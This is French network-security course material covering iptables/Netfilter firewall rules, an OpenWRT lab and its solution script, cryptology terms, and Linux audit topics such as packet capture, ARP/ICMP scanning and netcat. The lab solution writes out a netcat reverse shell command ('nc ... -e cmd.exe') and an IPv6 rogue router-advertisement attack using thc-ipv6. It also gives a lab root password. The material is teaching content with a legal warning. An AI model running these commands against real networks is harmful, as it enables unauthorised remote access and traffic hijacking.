5.3. Réinitialisation des règles



sudo iptables -F
sudo iptables -X
sudo iptables -t filter -L -n -v






Maintient des sessions établies :



sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT






5.4. Politique INPUT


Refus de tout trafic entrant sur son interface  SSH et DHCP, sauf le trafic de loopback :



sudo iptables -t  filter -A INPUT -p tcp -i $int --dport ssh -j ACCEPT
sudo iptables -t  filter -A INPUT -p udp -i $int --dport 67:68 -j ACCEPT
sudo iptables -t  filter -A INPUT -p icmp --icmp-type echo-request -m limit --limit 100/s -\
i $int -j ACCEPT
sudo iptables -I INPUT 2 -i lo -j ACCEPT
sudo iptables -P INPUT DROP






5.5. Routage IP activation opportune


Vérification de l’activation du routage IPv4 :



sudo sysctl net.ipv4.ip_forward






ou



sudo cat /proc/sys/net/ipv4/ip_forward






Activation opportune du routage IPv4 :



sudo  sysctl -w net.ipv4.ip_forward=1






ou



sudo su -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'






5.6. Routage IP activation permanente


Activation permanente via sysctl : Editer/lire /etc/sysctl.conf et redémarrer le service :



sudo sysctl -p /etc/sysctl.conf






ou



sudo systemctl network restart






ou en debian



sudo /etc/init.d/procps.sh restart







  	Activation permanente Debian : éditer /etc/network/options


  	Activation permanente RHEL : éditer /etc/sysconfig/network





5.7. Chaine nat POSTROUTING


Activation simple du SNAT :



sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -t nat -L -n -v






5.8. Questions



  	Comment sauvegarder/restaurer ses règles ?

  	Comment créer une configuration sous forme de script ?

  	Quelle serait la configuration plus fine ?




5.9. Exemples Netfilter



  	https://formation-debian.via.ecp.fr/firewall.html

  	[https://doc.fedora-fr.org/wiki/Parefeu-_firewall-FirewallD](https://doc.fedora-fr.org/wiki/Parefeu-firewall-_FirewallD)

  	[https://doc.fedora-fr.org/wiki/Parefeu-_firewall-netfilter-iptables](https://doc.fedora-fr.org/wiki/Parefeu-firewall-netfilter-_iptables)

  	Usage avancé : Advanced iptables Initialization


  	Port Forwarding : Port_Forwarding_Type_NAT


  	Redirection : https://www.netfilter.org/documentation/HOWTO/fr/NAT-HOWTO-6.html#ss6.2


  	Logs : https://olivieraj.free.fr/fr/linux/information/firewall/fw-03-09.html


  	Sous Openwrt : logread | firewall





6. Lab Netfilter
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6.1. Avec le matériel suivant mis à disposition



  	une connectivité Internet

  	un routeur/pare-feu TL-WR841ND Linux OpenWRT Barrier Breaker (Netfilter) pré-configuré ou à l’aide du lab KVM.




6.2. A l’aide de la documentation jointe



  	Établir les connexions physiques en suivant le le diagramme de la topologie.

  	Configurer et vérifier les services IPv4/IPv6 :
    
      	Console Telnet, puis SSH seulement (root:testtest)

      	Adresses IP, routage IPv4/IPv6, NAT, DHCP Server, DNS Recursive Cache IPv4/IPv6, RA Server ULA, NTP sur le routeur/pare-feu.

    

  

  	Script netfilter IPv4
    
      	Réaliser, implémenter et valider un script précis et restrictif mettant en oeuvre la politique de filtrage décrite plus bas.

      	L’usage des commentaires, des variables pour les adresses et les interfaces ainsi que des chaînes utilisateurs est recommandé.

    

  

  	Réaliser l’attaque Reverse Backdoor Shell sur TCP 2222 sur le LAN en décrivant les conditions de mise en oeuvre sur la station d’audit et sur la station du LAN.




6.3. Consignes de sécurité



  	Appliquer des politiques par défaut restrictives.

  	Sécuriser le pare-feu lui-même de telle sorte :
    
      	que le trafic de Loopback soit autorisé et NATté,

      	qu’il puisse réaliser des mises-à-jour vers l’Internet (opkg update),

      	qu’il puisse utiliser des services externes DHCP, DNS et NTP ou rendre des services internes définis dans l’énoncé.

      	qu’il soit gérable à distance par uniquement par l’équipe informatique 192.168.1.10 (SSH, SYSLOG, SNMP)

    

  

  	En fonction de l’origine du trafic, il faudra adapter la politique de filtrage au strict nécessaire :
    
      	venant du LAN : NAT, HTTP, HTTPS, ICMP/ICMPv6 limité

      	venant du WAN : une règle autorisant l’attaque Backdoor Shell

      	venant du WAN : un accès SSH restrictif

    

  




6.4. Solution



#bien lire les consignes
#bien se documenter (travail personnel, cours, exemples, documents complémentaires)
#bien s'équiper (matériels et logiciels: un bon editeur, ssh, ...)

#1. Definition des variables
LANIF=br-lan
WANIF=eth1
ADMINIP=192.168.1.135
LANNET=192.168.1.0/24
AUDITIP=192.168.100.119
BINARY=iptables

#2. ->vidage des tables
${BINARY} -t filter -F
${BINARY} -t filter -X
${BINARY} -t nat -F

#3. ->Politiques par defaut (Consigne 1)
${BINARY} -P INPUT DROP
${BINARY} -P FORWARD DROP
${BINARY} -P OUTPUT ACCEPT


#4. ->NAT (Consignes 2a et 3a)
${BINARY} -t nat -A POSTROUTING -o ${WANIF} -j MASQUERADE

#5. ->Filtrage du trafic LAN/WAN HTTP/HTTPS/ICMP (Consigne 3a)
${BINARY} -A FORWARD -p tcp -i ${LANIF} -o ${WANIF} -d 0/0 --dport 80 -j ACCEPT
#test a partir du LAN : wget https://www.google.com
${BINARY} -A FORWARD -p tcp -i ${LANIF} -o ${WANIF} -d 0/0 --dport 443 -j ACCEPT
#test a partir du LAN : wget https://www.google.com
${BINARY} -A FORWARD -p icmp --icmp-type echo-request -m limit --limit 100/s -i ${LANIF} -o\
 ${WANIF} -j ACCEPT
#test a partir du LAN : ping www.google.com
${BINARY} -A FORWARD -i ${WANIF} -o ${LANIF} -m state --state RELATED,ESTABLISHED -j ACCEPT

#5.bis. Exceptions a decommenter pour du trafic de gestion/audit vers l'Internet
#iptables -A FORWARD -p tcp -i ${LANIF} -s ${ADMINIP} -o ${WANIF} -d 178.32.122.139 --dport\
 22 -j ACCEPT
${BINARY} -A FORWARD -p tcp -i ${LANIF} -s ${ADMINIP} -o ${WANIF} -d ${AUDITIP} --dport 22 \
-j ACCEPT

#6. Securisation du pare-feu (Consigne 2)
#->INPUT
#|-> Sessions administratives/surveillance SSH, SYSLOG, SNMP (Consigne 2d)
${BINARY} -A INPUT -p tcp -m state --state ESTABLISHED,RELATED --dport 22 -j ACCEPT
${BINARY} -A INPUT -p tcp -i ${LANIF} -s ${ADMINIP} --dport 22 -j ACCEPT
#iptables -A INPUT -p tcp -i ${LANIF} -s ${ADMINIP} --dport 80 -j ACCEPT
${BINARY} -A INPUT -p udp -i ${LANIF} -s ${ADMINIP} --dport 514 -j ACCEPT
#Trafic de gestion DHCP/DNS/ICMP (Consigne 2c)
#|-> Trafic DHCP
${BINARY} -A INPUT -p udp -i ${LANIF} --dport 67 -j ACCEPT
${BINARY} -A INPUT -p udp -i ${WANIF} --sport 67 -j ACCEPT
#|-> Trafic DNS
${BINARY} -A INPUT -p udp -i ${LANIF} -s ${LANNET} --dport 53 -j ACCEPT
${BINARY} -A INPUT -p udp -i ${WANIF} --sport 53 -j ACCEPT
#|-> Trafic NTP
${BINARY} -A INPUT -p udp -i ${LANIF} -s ${LANNET} --dport 123 -j ACCEPT
${BINARY} -A INPUT -p udp -i ${WANIF} --sport 123 -j ACCEPT
#|-> Trafic ICMP
${BINARY} -A INPUT -p icmp --icmp-type echo-request -m limit --limit 100/s -i ${LANIF} -s $\
{LANNET} -j ACCEPT
${BINARY} -A INPUT -p icmp --icmp-type echo-reply -m limit --limit 100/s -i ${WANIF} -j ACC\
EPT
#|-> Trafic de MAJ (non fonctionnel a corriger)
#verification nmap 192.168.1.1, dhcp release/renew, ntpdate, dig, ping
${BINARY} -A INPUT -p tcp -i ${WANIF} -j ACCEPT
#Acces SSH externe (Consigne 3c)
${BINARY} -A INPUT -p tcp -i ${WANIF} -s ${AUDITIP} --dport 22 -j ACCEPT
#7. Attaque Backdoor Shell (Consigne 3b)
#7.1. Dans le WAN monter un server nc dur le port TCP443 : nc -l -p 443
#7.2. Dans le LAN exécuter : nc ${AUDITIP} 443 -e cmd.exe
#8.1. Attaque TCPSYN sur le routeur ${WANIF}
#8.2. Attaque RA ICMPv6
#apt-get install libpcap-dev libssl-dev
#wget https://www.thc.org/releases/thc-ipv6-2.5.tar.gz
#make, make install
#sudo modprobe ipv6
#sudo fake_router6 eth0 2001:db8:dead::/64
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Introduction


Cette partie est entièrement consacrée au sujet de la confidentialité : cryptographie symétrique et asymétrique, infrastructure à clé publique, PGP et TLS sont les sujets développés notamment à partir des outils de la librairie OpenSSL.









4. Cryptologie


1. Sémantique


https://chiffrer.info/, Copyleft fladnaG.net, Les définitions sont tirées d’articles Wikipédia sous licence BY-SA 3.0.


Dans le jargon français de l’informatique et des mathématiques, on utilise de manière correcte les termes suivants :



  	<i class=”fas fa-check”></i> Cryptologie

  	<i class=”fas fa-check”></i> Cryptographie

  	<i class=”fas fa-check”></i> Chiffrement

  	<i class=”fas fa-check”></i> Chiffrer

  	<i class=”fas fa-check”></i> Déchiffer

  	<i class=”fas fa-check”></i> “Des chaînes de télévision cryptées”

  	<i class=”fas fa-check”></i> Décrypter




Ce sont les termes fondés sur la racine du grec ancien κρυπτός, “kruptos”, signifiant “caché, secret” qui posent problèmes au puristes de la langue (ce qui est parfaitement compréhensible). Parmi ceux-ci, <i class=”fas fa-check”></i> seul le terme “décrypter” est à usage correcte : il s’agit à retrouver le texte original à partir d’un message chiffré sans posséder la clé de (dé)chiffrement.


Par contre le terme “décrypter” ne peut pas accepter d’antonyme : il est en effet impossible de créer un message chiffré sans posséder de clé de chiffrement. En conséquence, l’usage des termes <i class=”fas fa-times”></i> “crypter”, <i class=”fas fa-times”></i> “cryptage” ou encore leurs variantes <i class=”fas fa-times”></i> “encrypter”, <i class=”fas fa-times”></i> “désencrypter”, <i class=”fas fa-times”></i> “déencrypter” supposeraient le fait de coder un fichier sans en connaître la clé et donc sans pouvoir le décoder ensuite (ANSSI). De plus, le terme n’est par ailleurs pas reconnu par le dictionnaire de l’Académie française.


Enfin, le terme <i class=”fas fa-times”></i> “chiffrage” que l’on pourrait rencontrer dans certains textes est l’évaluation du coût de quelque chose ce qui n’a absolument rien à voir avec le chiffrement !


2. Cryptologie


La cryptologie est la science qui englobe la cryptographie — l’écriture secrète – et la cryptanalyse – l’analyse de cette dernière.



Cryptologie-->Cryptographie;
Cryptologie-->Cryptanalyse;






La confidentialité n’est que l’une des facettes de la cryptologie. Elle permet également :



  	l’authentification ou l’authentification forte d’un message : l’assurance qu’un individu est bien l’auteur du message chiffré ;

  	la non-répudiation est le fait de s’assurer qu’un contrat ne peut être remis en cause par l’une des parties.

  	l’intégrité : on peut vérifier que le message n’a pas été manipulé sans autorisation ou par erreur ;

  	la preuve à divulgation nulle de connaissance — par exemple d’identité —, on peut prouver que l’on connaît un secret sans le révéler ;

  	et autres, dont l’anonymat et la mise en gage.




Les premières méthodes de chiffrement remontent à l’Antiquité et se sont améliorées, avec la fabrication de différentes machines de chiffrement, pour obtenir un rôle majeur lors de la Première Guerre mondiale et de la Seconde Guerre mondiale. (voir https://fr.wikipedia.org/wiki/Histoire_de_la_cryptologie).


La cryptologie a très longtemps été considérée comme une arme de guerre.


La cryptologie est essentielle à la sécurité des transactions de commerce électronique.


3. Cryptographie


La cryptographie est une des disciplines de la cryptologie s’attachant à protéger des messages (assurant confidentialité, authenticité et intégrité) en s’aidant souvent de secrets ou clés. Elle se distingue de la stéganographie qui fait passer inaperçu un message dans un autre message alors que la cryptographie rend un message inintelligible à autre que qui-de-droit.


La cryptographie se scinde en deux parties nettement différenciées :



  	d’une part la cryptographie à clef secrète, encore appelée symétrique ou bien classique ;

  	d’autre part la cryptographie à clef publique, dite également asymétrique ou moderne.




La première est la plus ancienne, on peut la faire remonter à l’Égypte de l’an 2000 av. J.-C. en passant par Jules César ; la seconde remonte à l’article de W. Diffie et M. Hellman, New directions in cryptography daté de 1976.


Toutes deux visent à assurer la confidentialité de l’information, mais la cryptographie à clef secrète nécessite au préalable la mise en commun entre les destinataires d’une certaine information : la clé (symétrique), nécessaire au chiffrement ainsi qu’au déchiffrement des messages.


Dans le cadre de la cryptographie à clé publique, ce n’est plus nécessaire. En effet, les clés sont alors différentes, ne peuvent se déduire l’une de l’autre, et servent à faire des opérations opposées, d’où l’asymétrie entre les opérations de chiffrement et de déchiffrement.


Bien que beaucoup plus récente et malgré d’énormes avantages – signature numérique, échange de clés… – la cryptographie à clef publique ne remplace pas totalement celle à clef secrète, qui pour des raisons de vitesse de chiffrement et parfois de simplicité reste présente. À ce titre, signalons la date du dernier standard américain en la matière, l’AES : décembre 2001, ce qui prouve la vitalité encore actuelle de la cryptographie symétrique.


4. Cryptanalyse


La cryptanalyse est la science qui consiste à décrypter un message chiffré, c’est-à-dire tenter de déchiffrer ce message sans posséder la clé de chiffrement. Le processus par lequel on tente de comprendre un message en particulier est appelé une attaque.


Une attaque est souvent caractérisée par les données qu’elle nécessite :



  	attaque sur texte chiffré seul (ciphertext-only en anglais) : le cryptanalyste possède des exemplaires chiffrés des messages, il peut faire des hypothèses sur les messages originaux qu’il ne possède pas. La cryptanalyse est plus ardue de par le manque d’informations à disposition.

  	attaque à texte clair connu (known-plaintext attack en anglais) : le cryptanalyste possède des messages ou des parties de messages en clair ainsi que les versions chiffrées. La cryptanalyse linéaire fait partie de cette catégorie.

  	attaque à texte clair choisi (chosen-plaintext attack en anglais) : le cryptanalyste possède des messages en clair, il peut créer les versions chiffrées de ces messages avec l’algorithme que l’on peut dès lors considérer comme une boîte noire. La cryptanalyse différentielle est un exemple d’attaque à texte clair choisi.

  	attaque à texte chiffré choisi (chosen-ciphertext attack en anglais) : le cryptanalyste possède des messages chiffrés et demande la version en clair de certains de ces messages pour mener l’attaque.




Source : https://fr.wikipedia.org/wiki/Cryptanalyse
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Introduction


Cette partie intitulée “Audit Linux” porte sur les sujets suivants : Renforment du système, analyse de trafic, scan de réseau et de vulnérabilités, détection d’intrusion et de rootkits et enfin gestion des logs sont au menu.









5. Audit Linux


1. Introduction


1.1. Avertissement légal


Les exercices et les outils contenus ici sont fournis à titre pédagogique et sont à exécuter dans le cadre d’un trafic normal et responsable.


L’auteur décline toute responsabilité quant aux usages notamment malveillants que l’on pourrait leur trouver. Il est d’ailleurs fortement conseillé aux apprenants de solliciter uniquement des machines du LAN ou uniquement des serveurs leur appartenant.


Veuillez utiliser la connaissance pour le bien et dans le respect d’autrui. Derrière chaque machine, il y a des intérêts humains que vous ne pouvez pas soupçonner. C’est au lecteur de prendre la mesure et la portée des actions qu’il mène sur Internet et sur les ressources numériques auxquelles il a accès.


Pour le droit français, Le fait, sans motif légitime, d’importer, de détenir, d’offrir, de céder ou de mettre à disposition un équipement, un instrument, un programme informatique ou toute donnée conçus ou spécialement adaptés pour commettre une ou plusieurs des infractions prévues par les articles 323-1 à 323-3 est puni des peines prévues respectivement pour l’infraction elle-même ou pour l’infraction la plus sévèrement réprimée.



  Pour toutes ces raisons, ce document est livré publiquement de manière limitée. Une livraison du document complet est possible sur demande auprès de l’auteur.



2. Renforcement (hardening) du système


Pour mémoire venant de https://www.thefanclub.co.za/how-to/how-secure-ubuntu-1604-lts-server-part-1-basics



  Harden the security on an Ubuntu 16.04 LTS server by installing and configuring the following:





  
    	Install and configure Firewall - ufw, firewalld, iptales-services/-persistent

    	Secure shared memory - fstab

    	SSH - Key based login, disable root login and change port

    	Apache SSL - Disable SSL v3 support

    	Protect su by limiting access only to admin group

    	Harden network with sysctl settings

    	Disable Open DNS Recursion and Remove Version Info  - Bind9 DNS

    	Prevent IP Spoofing

    	Harden PHP for security

    	Restrict Apache Information Leakage

    	Install and configure Apache application firewall - ModSecurity

    	Protect from DDOS (Denial of Service) attacks with ModEvasive

    	Scan logs and ban suspicious hosts - DenyHosts and Fail2Ban

    	Intrusion Detection - PSAD

    	Check for RootKits - RKHunter and CHKRootKit

    	Scan open Ports - Nmap

    	Analyse system LOG files - LogWatch

    	SELinux - Apparmor

    	Audit your system security - Tiger and Tripwire

  




3. Analyseurs de paquets




  
    [image: Protocoles TCP/IP]
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Dès que l’on dispose d’une vue formelle des modèles TCP/IP et OSI, une activité d’observation du trafic réseau permet de s’initier à des pratiques plus avancées grâce à un analyseur de paquets. Un analyseur de paquets est un logiciel qui se met à l’écoute d’une des interfaces de l’ordinateur et qui met en mémoire le trafic qui passe par elle. L’analyseur de paquets est capable de décoder, sauvegarder, traiter, analyser et présenter la capture.


Un analyseur de paquets peut aussi être appelé en anglais : packet analyzer, network analyzer, protocol analyzer ou encore packet sniffer.


Wiresharsk est certainement le plus connu mais il en existe bien d’autres.


On citera en logiciels Open Source : tcpdump, ngrep, tshark, dumpcap, capinfos, rawshark, editcap, mergecap, text2cap, reordercap, …


Par ailleurs, on remarquera le logiciel et le service en ligne CloudShark qui permette de présenter des captures en version Web (partages, commentaires, wireshark-like).


Analyser des paquets permet de :



  	comprendre et d’apprendre les protocoles

  	de reproduire leur comportement

  	de valider ces comportements

  	de réaliser un audit de performance du réseau, d’identifier des problèmes dans une phase de diagnostic, d’implémenter du QoS dans le cadre de la gestion de la bande passante


  	en cybersécurité, dans une phase de reconnaissance passive ou active, le sniffing permet d’interpréter les résultats d’une prise d’empreinte par le réseau


  	dans un cadre plus défensif, les pots de miel (honeypots) et les systèmes de détection/prévention d’intrusions (IDS/IPS) utilisent la capture de trafic à des fins de journalisation ou de prise de décision

  	En téléphonie, la capture de paquets aide à surveiller et à recomposer les conversations (dans un cadre légal strict : salles de marchés, services de centre d’appels, enquête légale, …)




Dans ce document d’initiation, on se limitera humblement à l’observation de trafic DNS (UDP) et HTTP (TCP).


3.1. Exercice 1 : Observation de trafic dans le “cloud”



  	Dans un navigateur Web, ouvrir la page Cloudshark https://www.cloudshark.org/captures/26c43039ccd6.

  	Observation de la capture dans cloudshark.

  	Filtrer selon les protocoles dns, http et tcp.

  	Noter dans un schéma les phases d’une connexion UDP :






  
    [image: ]
    
  





  	Noter le schéma d’une connexion TCP :
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  	Noter le schéma du transfert HTTP




3.2. Exercice 2 : Créer un diagramme du réseau



  	Veuillez créer un diagramme représentant les opérations décrites dans la capture.




3.3. Exercice 3 : Observation du trafic dans un outil local



  	Téléchargement et installation de Wireshark/Tshark.

  	Examen de la même capture avec Wireshark en interface graphique.




3.4. Exercice 4 : Élaboration des requêtes HTTP


Client wget



  	La commande wget permet de récupérer une page Web.





wget https://www.test.tf/






Client netcat



  	Etablir une session TCP www.test.tf:80 avec l’utilitaire “netcat”.





nc www.test.tf 80







  	Ensuite frapper la commande HTTP GET.





GET / HTTP/1.1







  	Ensuite frapper deux fois le retour charriot (touche “enter/entrée”)




Client curl



  	Exécuter la commande HTTP GET directement avec curl.





curl -X GET https://www.test.tf/






Client Web en Python (1)


Source : https://www.binarytides.com/receive-full-data-with-the-recv-socket-function-in-python/



  	Création d’un script qui crée un socket get-raw-socket.py (Python 2) :





import socket, sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(("www.test.tf", 80))

s.send("GET / HTTP/1.0\r\n\r\n")

while 1:
    buf = s.recv(1000)
    if not buf:
        break
    sys.stdout.write(buf)

s.close()






Serveur Web en Python (2)



  	Création d’un script avec la librairie get-urllib2 :





import urllib2
response = urllib2.urlopen('https://www.test.tf/')
print response.info()
html = response.read()
print html
response.close()






Serveur Web en Python (3)


Plus simple encore, à partir de l’endroit du système de fichier à servir en HTTP sur le port 8080 avec les droits d’un utilisateur normal :



python -m SimpleHTTPServer 8080






3.4. Exercice 4 : Observation des sessions



  	Observation des sessions TCP établies, des ports ouverts.





netstat -a

netstat -tnp

netstat -ltnp







  	Identifier les sessions établies

  	Identifier les ports à l’écoute TCP/UDP en IPv4 et en IPv6




netstat


netstat, pour « network statistics », est une ligne de commande affichant des informations sur les connexions réseau, les tables de routage et un certain nombre de statistiques dont ceux des interfaces, sans oublier les connexions masquées, les membres multicast, et enfin, les messages netlink. La commande est disponible sous Unix (et ses dérivés dont Linux) et sous Windows NT compatibles.


Les paramètres utilisés avec cette commande doivent être préfixés avec un « moins » plutôt qu’un slash (/).



  	-a : Affiche toutes les connexions TCP actives et les ports TCP et UDP sur lesquels l’ordinateur écoute.

  	-b : Affiche le nom du programme impliqué dans la création de chaque connexion et ports ouverts (Windows uniquement).

  	-p : Affiche le nom du programme impliqué dans la création de chaque connexion et le PID associé (Linux uniquement).

  	-e : Affiche les statistiques ethernet comme le nombre d’octets et de paquets envoyés et reçus. Ce paramètre peut être combiné avec -s.

  	-n : Affiche les connexions TCP actives, cependant les adresses et les ports sont affichés au format numérique, sans tentative de résolution de nom.

  	-o : Affiche les connexions TCP actives et inclut l’identifiant du processus (PID) pour chaque connexion. Vous pouvez retrouver la correspondance entre les PID et les applications dans le gestionnaire des tâches de Windows. Ce paramètre peut être combiné avec -a, -n et * -p. Ce paramètre est disponible sous Windows XP, et Windows 2003 Server mais pas sous Windows 2000.

  	-i : Affiche les interfaces réseaux et leur statistiques (non disponibles sous Windows).

  	-r : Affiche le contenu de la table de routage (équivalent à route print sous Windows).

  	-s : Affiche les statistiques par protocole. Par défaut, les statistiques sont affichées pour IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP et UDPv6. L’option -p peut être utilisée pour spécifier un sous-jeu de la valeur par défaut.

  	/? : Affiche l’aide (seulement sous Windows).




3.5. Exercice 5 : Capture du trafic



  	Capture avec Wireshark en interface grahique (démo)

  	Capture avec Tshark





tshark -i any -f "port 53 or port 80"

tshark -i any -f "port 53 or port 80" -w dns-http.pcap







  	Capture avec Tcpdump





tcpdump -i any port 53 or port 80

tcpdump -i any port 53 or port 80 -w dns-http.pcap






4. Scans ARP


4.1. Protocole ARP


ARP est un protocole TCP/IP qui est encapsulé directement par un protocole LAN de couche 2 tel qu’Ethernet (802.3) ou Wi-Fi (802.11). Il ne traverse pas les routeurs. Il sert principalement à peupler la table ARP des interfaces TCP/IP. Cette table ARP est une table de correspondance entre une adresse IP à joindre et l’adresse de livraison locale sur un réseau IEEE 802, soit un LAN filaire et/ou sans fil.


On notera que ARP possède d’autres messages ou d’autres usages tels que RARP (service d’adresse IP) et IARP (avec Frame-Relay) mais rarement rencontrés.


RFC, image


4.2. Scanner ARP


Le scanner ARP envoie un message ARP Request (opcode 1) en broadcast FF:FF:FF:FF:FF:FF avec une charge Target IP Address prenant chaque adresse IPv4 d’une plage d’adresse. Ce trafic de diffusion est transféré par tous les ports d’un même commutateur ou dans un VLAN. Chaque interface qui reconnaît son adresse IPv4 dans ce message répond par un message ARP Reply (opcode 2) avec les adresses MAC unicast en origine et en destination. On notera que la charge ARP reprend à nouveau les adresses MAC des deux correspondants.


4.3. Intérêts d’un scanner ARP


Si le trafic ARP n’a de portée que sur le LAN ou le VLAN auquel une interface est connectée, il n’est jamais filtré ou vérifié par les hôtes terminaux. Quel que soit la configuration du pare-feu TCP/IP, l’hôte qui reconnait son adresse IPv4 dans le message répond. Cette procédure à l’avantage d’un gain de rapidité et succès par rapport aux autres types de scans ICMP, UDP ou TCP.


4.4. Table ARP


Ce sont les adresses IP et MAC de la charge ARP Reply qui servent à construire la table ARP de l’interface qui le reçoit. Ce trafic est la plupart du temps sollicité, c’est-à-dire qu’il fait partie d’un échange engagé par une requête.


4.5. Vulnérabilité intrinsèque ARP


Toutefois, rien n’empêche nos interface de mettre à jour leur table à la suite de messages ARP Reply gratuit, c’est-à-dire non sollicités. A cet égard sur le réseau local tous les hôtes sont vulnérables à une attaque d’homme du milieu (MITM). On appelle cette attaque une APR ARP Poison Routing.


4.6. Contre-mesure des attaques ARP



  	Revisiter l’architecture du réseau local (LAN) qui segmentent le réseau en différents VLANs qui correspondent à des profils de sécurité.

  	Implémenter une solution de type 802.1x/EAP/Radius (802.11i, WPA2-Entreprise)

  	Activer des fonctionnalités de type IDS/IPS ARP.
    
      	sur les commutateurs Cisco Deep ARP Inspection (DAI)

      	Snort

      	mon…

    

  




4.7. Outils de scans ARP



  	arp-scan

  	Cain et Abel (Windows)

  	scapy, python

  	autres …




5. Scans ICMP


Mécanisme Echo Request/Echo Reply


Messages ICMP


A lire : Intrusion Detection FAQ: How can attacker use ICMP for reconnaissance?


Capture de trafic ICMP : https://www.cloudshark.org/captures/e64eaac12704?filter=icmp


5.1. Balayage ping (Ping Sweep) avec nmap -sn



Commande nmap -sn cible



nmap -sn 192.168.122.0/24

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2016-01-18 18:50 CET
Nmap scan report for 192.168.122.1
Host is up (0.0011s latency).
MAC Address: FE:54:00:01:69:7C (Unknown)
Nmap scan report for ubuntu-server (192.168.122.31)
Host is up (0.00082s latency).
MAC Address: 52:54:00:68:91:02 (QEMU Virtual NIC)
Nmap scan report for Kali2-03 (192.168.122.41)
Host is up (0.00053s latency).
MAC Address: 52:54:00:01:69:7C (QEMU Virtual NIC)
Nmap scan report for Kali2-01 (192.168.122.58)
Host is up (-0.096s latency).
MAC Address: 52:54:00:39:4A:E1 (QEMU Virtual NIC)
Nmap scan report for 192.168.122.89
Host is up (0.0021s latency).
MAC Address: 52:54:00:39:84:46 (QEMU Virtual NIC)
Nmap scan report for Kali2-02 (192.168.122.98)
Host is up (-0.100s latency).
MAC Address: 52:54:00:05:79:20 (QEMU Virtual NIC)
Nmap scan report for Kali2-05 (192.168.122.163)
Host is up (-0.10s latency).
MAC Address: 52:54:00:66:99:63 (QEMU Virtual NIC)
Nmap scan report for centos7-kvm-template (192.168.122.164)
Host is up (-0.10s latency).
MAC Address: 52:54:00:3C:EA:E7 (QEMU Virtual NIC)
Nmap scan report for DESKTOP-0TLULO6 (192.168.122.208)
Host is up (0.00089s latency).
MAC Address: 52:54:00:27:1D:D5 (QEMU Virtual NIC)
Nmap scan report for Kali2-06 (192.168.122.209)
Host is up (-0.100s latency).
MAC Address: 52:54:00:F5:FB:09 (QEMU Virtual NIC)
Nmap scan report for Kali2-04 (192.168.122.252)
Host is up (-0.100s latency).
MAC Address: 52:54:00:BD:B5:04 (QEMU Virtual NIC)
Nmap scan report for Kali2-0C (192.168.122.40)
Host is up.
Nmap done: 256 IP addresses (12 hosts up) scanned in 3.23 seconds






Note L’option -sP envoie une requête d’echo ICMP et un paquet TCP sur le port par défaut (80).


Quelques outils qui utilisent le “ping sweep” :



  	Angry IP Scanner (or simply ipscan) : https://angryip.org/


  	Outils en ligne : https://ping.eu/ping/, https://network-tools.com/default.asp?prog=ping, …




5.2. Utilitaire fping


D’abord de la documentation



fping -h






Usage: fping [options] [targets...]
   -a         show targets that are alive
   -A         show targets by address
   -b n       amount of ping data to send, in bytes (default 56)
   -B f       set exponential backoff factor to f
   -c n       count of pings to send to each target (default 1)
   -C n       same as -c, report results in verbose format
   -D         print timestamp before each output line
   -e         show elapsed time on return packets
   -f file    read list of targets from a file ( - means stdin) (only if no -g specified)
   -g         generate target list (only if no -f specified)
                (specify the start and end IP in the target list, or supply a IP netmask)
                (ex. fping -g 192.168.1.0 192.168.1.255 or fping -g 192.168.1.0/24)
   -H n       Set the IP TTL value (Time To Live hops)
   -i n       interval between sending ping packets (in millisec) (default 25)
   -I if      bind to a particular interface
   -l         loop sending pings forever
   -m         ping multiple interfaces on target host
   -n         show targets by name (-d is equivalent)
   -O n       set the type of service (tos) flag on the ICMP packets
   -p n       interval between ping packets to one target (in millisec)
                (in looping and counting modes, default 1000)
   -q         quiet (don't show per-target/per-ping results)
   -Q n       same as -q, but show summary every n seconds
   -r n       number of retries (default 3)
   -s         print final stats
   -S addr    set source address
   -t n       individual target initial timeout (in millisec) (default 500)
   -T n       ignored (for compatibility with fping 2.4)
   -u         show targets that are unreachable
   -v         show version
   targets    list of targets to check (if no -f specified)






Ensuite, on peut lancer un balayage ICMP qui reprend la liste des hôtes actifs, mais entre-temps on peut lancer une capture tcpdump :



tcpdump -v icmp &







fping -a -C 1 -i 300 -g 192.168.122.0/24






20:09:29.359558 IP (tos 0x0, ttl 64, id 8925, offset 0, flags [DF], proto ICMP (1), length \
84)
    Kali2-0C > 192.168.122.1: ICMP echo request, id 7814, seq 0, length 64
20:09:29.359608 IP (tos 0x0, ttl 64, id 45301, offset 0, flags [none], proto ICMP (1), leng\
th 84)
    192.168.122.1 > Kali2-0C: ICMP echo reply, id 7814, seq 0, length 64
ICMP Host Unreachable from 192.168.122.40 for ICMP Echo sent to 192.168.122.2

192.168.122.1   : 0.09





## 6. Utiliser Netcat


6.1. Objectifs



  	Travail en solo ou en équipe :
    
      	topologie client

      	topologies client/server

      	pare-feu

    

  

  	Monter des sessions TCP et UDP avec Netcat :
    
      	dans le LAN

      	dans l’Internet

      	A travers un pare-feu

    

  

  	Rapport de lab





  Prenez uniquement des cibles autorisées !



6.2. Netcat


Netcat est un utilitaire Unix simple qui permet de gérer les sockets (connexions réseaux), c’est-à-dire qu’il est capable d’établir n’importe qu’elle connexion à un serveur, en choisissant le port, l’IP etc.


Il est conçu pour être un outil “back-end “ et peut-être utilisé directement par d’autres programmes et/ou scripts.


Netcat est distribué librement sous la licence GNU Licence Publique Générale (GPL).


Netcat n’est pas nécessairement un outil de sécurité mais il est avant tout un outil de hacking. A priori, quelque soit l’environnement dans lequel il est utilisé, il n’exige aucun droit d’administration pour être exécuté.


Réalisons toutefois que cet outil rudimentaire peut mener diverses attaques qui sont vues ici à titre pédagogique :



  	scan réseau,

  	scan de ports TCP/UDP,

  	Banner grabbing

  	Chat ASCII

  	Remote Backdoor Shell

  	Reverse Remote Backdoor Shell

  	Communications sécurisées SSL/Tor




Couteau suisse TCP/UDP


Binaire Windows à télécharger : https://joncraton.org/files/nc111nt.zip (mot de passe : nc)


Sous Linux, on trouvera un binaire traditionnel nc et une version améliorée fournie avec nmap, ncat.


Syntaxe de Netcat



nc -h






[v1.10]
connect to somewhere:	nc [-options] hostname port[s] [ports] ...
listen for inbound:	nc -l -p port [-options] [hostname] [port]
options:
	-g gateway	source-routing hop point[s], up to 8
	-G num		source-routing pointer: 4, 8, 12, ...
	-h			this cruft
	-i secs		delay interval for lines sent, ports scanned
	-l			listen mode, for inbound connects
